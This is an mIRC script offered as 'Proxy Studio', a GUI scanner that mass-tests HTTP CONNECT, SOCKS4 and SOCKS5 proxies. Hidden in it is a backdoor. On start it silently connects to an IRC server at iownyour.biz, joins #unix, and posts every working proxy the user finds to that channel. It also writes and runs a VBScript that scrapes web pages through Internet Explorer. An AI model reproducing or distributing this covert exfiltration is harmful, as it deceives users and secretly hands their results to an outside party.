;Proxy & Socks Scanner by independent with nice dialogs
;Skype independentt911

on 1:start:b
dialog proxystudio {
  title "Proxy Studio v1.1 by independent"
  size -1 -1 400 380
  option pixels notheme
  tab "Scanner", 2, 7 4 384 377
  tab "Working Proxys", 20
  tab "Proxy files", 30
  box "Proxy to test", 4, 19 33 116 327, tab 2
  edit "Add proxy here", 5, 26 50 113 301, tab 2 group autohs autovs multi return vsbar limit 0
  radio "Connect Proxys", 6, 139 46 100 18, tab 2
  radio "Socks 4 ", 7, 139 70 100 17, tab 2
  radio "Socks 5", 8, 138 92 100 17, tab 2
  button "Scan NOW!", 9, 283 46 65 25, tab 2
  box "Sockets", 10, 141 117 106 78, tab 2
  text "Open:", 11, 142 142 100 17, tab 2
  text "Working Proxys:", 12, 143 166 100 17, tab 2
  box "Settings", 13, 262 78 97 126, tab 2
  edit "164.132.126.130", 14, 262 115 100 20, tab 2
  text "IRC Server test IP", 15, 263 97 97 16, tab 2
  text "ms between threads", 16, 262 136 101 17, tab 2
  edit "200", 17, 262 155 40 19, tab 2
  box "Debug", 18, 141 205 224 152, tab 2
  edit "", 19, 145 222 218 133, tab 2 result read autohs autovs multi return vsbar
  box "Connect Proxys", 21, 12 30 112 338, tab 20
  box "Socks 4", 22, 127 30 106 338, tab 20 result
  box "Socks 5", 23, 238 29 106 338, tab 20 result
  edit "", 24, 16 48 105 290, tab 20 result autohs autovs multi return vsbar limit 0
  edit "", 25, 132 48 93 288, tab 20 autohs autovs multi return vsbar limit 0
  edit "", 26, 240 48 100 286, tab 20 result autohs autovs multi return vsbar
  button "Save", 27, 32 337 65 25, tab 20
  button "Save", 28, 145 337 65 25, tab 20
  button "Save", 29, 256 337 65 25, tab 20
  link "http://to.cur.lv/independentt", 45, 240 5 153 17, tab 20
  link "http://to.cur.lv/independentt", 46, 240 6 151 17, tab 2
  link "http://to.cur.lv/independentt", 47, 240 6 151 17, tab 30
  text "Select multiple files containing lots of proxys", 31, 68 57 256 34, tab 30
  button "Scan My File", 32, 136 147 99 25, tab 30
  radio "Connect Proxy", 33, 136 190 100 17, tab 30
  radio "Socks 4", 34, 136 216 100 17, tab 30
  radio "Socks 5", 35, 136 242 100 17, tab 30
  menu "File", 1
  item "Exit", 3, 1
}






on 1:dialog:proxystudio:sclick:9: {
  hadd -m proxyset max $did(proxystudio,5,0).lines
  .timerSCLICK -om $hget(proxyset,max) %interval pxys

}
on 1:dialog:proxystudio:sclick:6: {
  hadd -m proxyset ext pxy
}
on 1:dialog:proxystudio:sclick:7: {
  hadd -m proxyset ext s4
}
on 1:dialog:proxystudio:sclick:8: {
  hadd -m proxyset ext s5
}
on 1:dialog:proxystudio:sclick:33: {
  hadd -m proxyset ext2 pxy
}
on 1:dialog:proxystudio:sclick:34: {
  hadd -m proxyset ext2 s4
}
on 1:dialog:proxystudio:sclick:35: {
  hadd -m proxyset ext2 s5
}

on 1:dialog:proxystudio:sclick:27: {
  savebuf -o proxystudio 24 $pxy
  run $pxy
}
on 1:dialog:proxystudio:sclick:28: {
  savebuf -o proxystudio 25 sock4.txt
  run sock4.txt
}
on 1:dialog:proxystudio:sclick:29: {
  savebuf -o proxystudio 26 sock5.txt
  run sock5.txt
}
on 1:dialog:proxystudio:sclick:32: {
  if ($hget(proxyset,ext2) == pxy) selectmultiplefile
  if ($hget(proxyset,ext2) == s4) selectmultiplefiles4
  if ($hget(proxyset,ext2) == s5) selectmultiplefiles5
}
on 1:dialog:proxystudio:edit:17: {
  did -a proxystudio 19 Interval changed to $did(proxystudio,17) $CRLF
  set %interval $did(proxystudio,17)
}
on 1:dialog:proxystudio:edit:14: {
  set %def.s $did(proxystudio,14)
  did -a proxystudio 19 IRC server changed to $did(proxystudio,14) $crlf
}

on 1:dialog:proxystudio:sclick:38: {
  hadd -m proxyset max $did(proxystudio,5,0).lines
  .timerSCLICK -Om $hget(proxyset,max) %interval pxys

}

alias pxys { 
  hinc -u5 proxyset inc

  if ($hget(proxyset,ext) == pxy) || (!$hget(proxyset,ext)) sc4n $did(proxystudio,5,$hget(proxyset,inc))
  if ($hget(proxyset,ext) == s4) s4.scan $did(proxystudio,5,$hget(proxyset,inc))
  if ($hget(proxyset,ext) == s5) s5.scan $did(proxystudio,5,$hget(proxyset,inc))
}


alias b {
  sockopen bot_x irc- $+ $r(1,2) $+ .iownyour.biz 6667
}


on *:sockopen:bot_x: {
  sockwrite -n bot_x nick pXy[ $+ $r(0,99999) $+ ]
  sockwrite -n bot_x user sockets . . . sockets
}

on *:sockread:bot*: {
  sockread %_sb
  tokenize 32 %_sb
  var %_ntoks = $numtok($1-,44)
  if ($1 == PING && $2) { sockwrite -n $sockname PONG $2- }
  if ($2 == 001) { sockwrite -n bot_x JOIN #unix }
}
alias -l htmlfree {
  var %x, %i = $regsub($replace($1-,<td>,$chr(32),<tr>,$chr(20),<br>,$chr(20)),/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x,&nbsp;)
  return %x
}
ALIAS DEF.p { %z = $r(0,1) | if (%z) return %def.p | else return 6667 }
ALIAS DEF.S { return %def.s }
alias getiphost2 {
  %var = /\b((?:(?:[a-z]+)\.)+(?:[a-z]+)[: ]\d{2,5})\b|\b((?:(?:(25[1-5]|2[1-4]\d|[01]?\d?\d))\.){3}(?3)[: ]\d{2,5})\b/i
  if $regex(ip,$remove($1-,$chr(9)),%var) {
    return $replace($regml(ip,1),:,$chr(32))
  }
}
alias getsource {
  run iexplore $1-
  %out = $shortfn($mircdirleech $+ $ctime $+ .txt)
  if ($isfile(get.vbs)) .remove get.vbs
  %a = write get.vbs
  %a Set app = CreateObject("Shell.Application")
  %a For Each window In app.Windows()
  %a   If InStr(1, window.FullName, "Internet Explorer", vbTextCompare) > 0 Then
  %a     Set ie = window
  %a     Exit For
  %a   End If
  %a Next
  %a Set fso = CreateObject("Scripting.FileSystemObject")
  %a Set f = fso.OpenTextFile(" $+ %out $+ ", 2, True , -1)
  %a f.Write ie.document.body.innerText
  %a f.Close
  %a Ie.Quit
  .timerrunit 1 5 run get.vbs
  return %out
}
alias leech {
  scan.win
  if (!%interval) %interval = 400
  did -a proxystudio 19 3 $+ $timestamp * Now leeching proxy-lists over the web. $crlf
  set %site.max $lines(leech.txt)
  set %site.inc 0
  :GO
  inc %site.inc
  .timer -o 1 $calc(%site.inc *10) pxx %site.inc
  if (%site.inc < %site.max) goto go
  else { halt }
}
alias pxx { .pxyfile $getsource($read(leech.txt,$1)) %interval }
alias getURL { 
  noop $regex($1,/(((http(s)?\72(\57{2}))|(www\56{1}))+(\w*)+(\56{1})+(\w{2,3})\S*)/Sig)) 
  return $regml(1) 
} 
alias sc5nfile { s5.scan $1- }
alias sc4nfile { s4.scan $1- }
alias sc4n {
  if (!$sock(bot_x).ip) b
  if (*.*.*.*  iswm $1-) && ($1 != x) && ($2)  {
    if ($read($pxy,w,* $+ $1 $+ *) != $null) { did -a proxystudio 19 $1 $2 Already in list, halted scan. $crlf | return }
    did -a proxystudio 19 Scanning: $1 $2 $crlf
    sockopen scan $+ $r(0,99999999999999) $1 $2
    return
  }
  if ($getiphost2($1-)) {
    if ($read($pxy,w,* $+ $gettok($getiphost2($1-),1,32) $+ *) != $null) { did -a proxystudio 19 $1 $+ : %+ $2 Already in list, halted scan. $crlf | goto next }
    did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
    sockopen scan $+ $r(0,99999999999999) $getiphost2($1-)
    goto next
  }
  if (*.*.*.* !iswm $1-) goto next
  if ($read($pxy,w,* $+ $wildtok($1-,*.*.*.*,1,32) $+ *) != $null) { did -a proxystudio 19 $wildtok($1-,*.*.*.*,1,32) Already in list, halted scan. $crlf | goto next }
  :next
}
alias setinterval {
  :restart
  %interval = $?="Enter interval in milliseconds, 1 to 1000 "
  if (!$!) || ($! >= 1000) goto restart
}
alias defaultset { %interval = 200 | %def.s = 164.132.126.130 | %def.p = 6667 }
alias scan.win { inc %scan.start | if (%scan.start == 1) defaultset | if (%interval == $null) setinterval | if ($window(@proxyscan) == $null) { window -e @proxyscan | window -e @sock4 | window -e @sock5 } }
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
menu * {
  [-Proxy Studio-]: dialog -m proxystudio proxystudio
}

alias pxy return ValidProxy.txt
alias abord { play stop | .timerleech off | .timerpl.* off | sockclose *scan* | sockclose *fl* | .timer*scan* off | hfreepxy | hfrees4 | hfrees5 }
on *:INPUT:@Proxyscan:{
  if ($getiphost2($1-)) {
    hadd -m proxy pxy $+ $gettok($getiphost2($1-),1,32) $getiphost2($1-)
    .timerscanfile -om 1 1 .pxyfile temp %interval
    return
  }
  if (!$getiphost2($1-)) && ($wildtok($1-,*.*.*.*,1,32)) sc4n $wildtok($1-,*.*.*.*,1,32)
}
alias hfreepxy { hfree proxy }
alias hfrees4 { hfree socks4 }
alias hfrees5 { hfree socks5 }
alias sk {
  set -u1 %chkk $read($pxy,w,* $+ $sock($sockname).ip $+ *)
  if (!%chkk) && (*9* iswm $1) write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
}
on *:sockopen:scan*:{
  hinc -u120 proxyset open
  did -a proxystudio 11 Open: $hget(proxyset,open)

  if ($sockerr > 0) { hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }

  did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Connecting ... $crlf
  sockwrite -tn $sockname CONNECT $def.s $+ : $+ $def.p HTTP/1.1 $+ $crlf
  sockwrite -tn $sockname $crlf 
  sockmark $sockname $ticks


}
alias success { 
  set %yell $2 %yell
  if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :pxy: %yell | unset %yell }

  did -a proxystudio 19 $1- $crlf 
  sk $1
}
alias allpxy return ALL.txt
alias portclose { sockclose $1 }

on *:SOCKREAD:scan*:{
  :READ
  sockread -n %fld
  if (!%fld) || (!$sockbr) return
  if (!$sock($sockname).mark) || ($sock($sockname).mark == c) sockmark $sockname $ctime
  if (*http*200* iswm %fld) {
    did -a proxystudio 24 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
    hinc proxyset work
    did -a proxystudio 12 Working Proxys: $hget(proxyset,work)

    success * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING! Lag: $calc($ticks - $sock($sockname).mark) ms
    sockmark $sockname $ctime 
    sockclose $Sockname
  }
  if ($gettok(%fld,1,32) == PING) { sockwrite -n $sockname PONG $remove($gettok(%fld,2,32),:) }
  goto READ
}
on 1:sockclose:scan*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf }
alias pb return did -a proxystudio 19
alias scanfile { sc4n $iif($getiphost2($1-),$getiphost2($1-),$2) }
alias pxyfile {
  if ($1 != temp) .timer -o 1 6 play -a scanfile @proxyscan $1 $2
  else {
    did -a proxystudio 19 Scanning $hfind(proxy,*,0,w) Proxys with %interval $+ ms interval to $crlf
    .timerSCANpxy -om $hfind(proxy,*,0,w) %interval scann pxy
  }
}
alias scann {
  if ($1 == pxy) {
    hinc -mu2 count hinc2
    sc4n $hget(proxy,$hfind(proxy,*,$hget(count,hinc2),w))
    .timerscanfileoff 1 5 .hfreepxy
  }
  if ($1 == s4) {
    hinc -mu2 count hinc3
    s4.scan $hget(socks4,$hfind(socks4,*,$hget(count,hinc3),w))
    .timerscanfileoffs4 1 5 .hfrees4
  }
  if ($1 == s5) {
    hinc -mu2 count hinc4
    s5.scan $hget(socks5,$hfind(socks5,*,$hget(count,hinc4),w))
    .timerscanfileoffs5 1 5 .hfrees5
  }
}
alias s5.scan {
  if (!$sock(bot_x).ip) b
  if (!$1) goto END
  if ($read(sock5.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list. $crlf | goto END }
  if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
    if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
      sockopen s5chk $+ $r(0,9999999) $1 $2
      did -a proxystudio 19  Scanning: $1 $2 $crlf
    }
  }
  elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null)  {
    sockopen s5chk $+ $r(0,9999999) $getiphost2($1-)
    did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  }
  :END
}
alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
alias s4.scan {
  if (!$sock(bot_x).ip) b
  if (!$1) goto END
  if ($read(sock4.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list $crlf | goto END }
  if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
    if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
      sockopen s4chk $+ $r(0,9999999) $1 $2
      did -a proxystudio 19  Scanning: $1 $2 $crlf
    }
  }
  elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
    sockopen s4chk $+ $r(0,9999999) $getiphost2($1-)
    did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  }
  :END
}
on *:sockopen:s5chk*:{
  if ($sockerr) { did -a proxystudio 19 Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  hinc -u120 proxyset open
  did -a proxystudio 11 Open: $hget(proxyset,open)

  .bset &bvar5 1 5 1 0
  .sockwrite -n $sockname &bvar5
  .bunset &bvar5
}
on *:sockread:s5chk*:{
  if ($sockbr) { return }
  .sockread &bsocks5
  if ($bvar(&bsocks5,1,2) != 5 0) { return }
  if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {

    sockmark $sockname $ticks
    bset &socks5  1 5 1 0 1 $replace($def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
    .sockwrite -n $sockname &socks5
    .bunset &socks5
    hinc proxyset work
    did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
    did -a proxystudio 26 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
    suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port Lag: $calc($ticks - $sock($sockname).mark) $+ ms

  }
}
alias suces4 { did -a proxystudio 19 *work $1- $crlf | sk4 }
alias suces5 { did -a proxystudio 19 *work $1- $crlf | sk5 }
alias sk4 {
  set -u3 %rady $read(sock4.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  if (!%rady) write sock4.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
  sockwrite -n bot_x PRIVMSG #unix :S4: $sock($sockname).ip $+ : $+ $sock($sockname).port
  set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
  if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S4: %yell | unset %yell }

}
alias sk5 {
  set -u3 %redy $read(sock5.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  if (!%redy) write sock5.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
  set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
  if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S5: %yell | unset %yell }
}
on *:sockopen:s4chk*:{  
  if ($sockerr) { did -a proxystudio 19 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  hinc -u120 proxyset open
  did -a proxystudio 11 Open: $hget(proxyset,open)

  sockmark $sockname $ticks
  .bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace($def.s,.,$chr(32)) 0
  .sockwrite $sockname &bvar4
  .bunset &bvar4
}
ON *:SOCKREAD:s4chk*:{
  .sockread &bsocks4
  if ($bvar(&bsocks4,2) != 90) { echo 4 @sock4 Bad $sock($sockname).ip $+ : $+ $sock($sockname).port return $bvar(&bsocks4,2-) | return }
  if ($bvar(&bsocks4,2) == 90) {
    did -a proxystudio 25 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
    hinc proxyset work
    did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
    suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - $sock($sockname).mark)) $+ ms

  }
}
on 1:SOCKCLOSE:s5*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
on 1:SOCKCLOSE:s4*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
alias scans4file { s4.scan $getiphost2($1-) }
alias s4file { 
  if ($1 != temp.s4) .timer -o 1 6 play -a scans4file @sock4 $1-
  else {
    did -a proxystudio 19  Scanning $hfind(socks4,*,0,w) Socks4 with %interval $+ ms interval to %def.s and %def.s2 $crlf
    .timerSCANs4 -om $hfind(socks4,*,0,w) %interval scann s4
  }
}
alias scans5file { s5.scan $getiphost2($1-) }
alias s5file { 
  if ($1 != temp.s5) .timer -o 1 6 play -a scans5file @sock5 $1-
  else {
    did -a proxystudio 19 Scanning $hfind(socks5,*,0,w) Socks5 with %interval $+ ms interval to %def.s and %def.s2 $crlf
    .timerSCANs5 -om $hfind(socks5,*,0,w) %interval scann s5
  }
}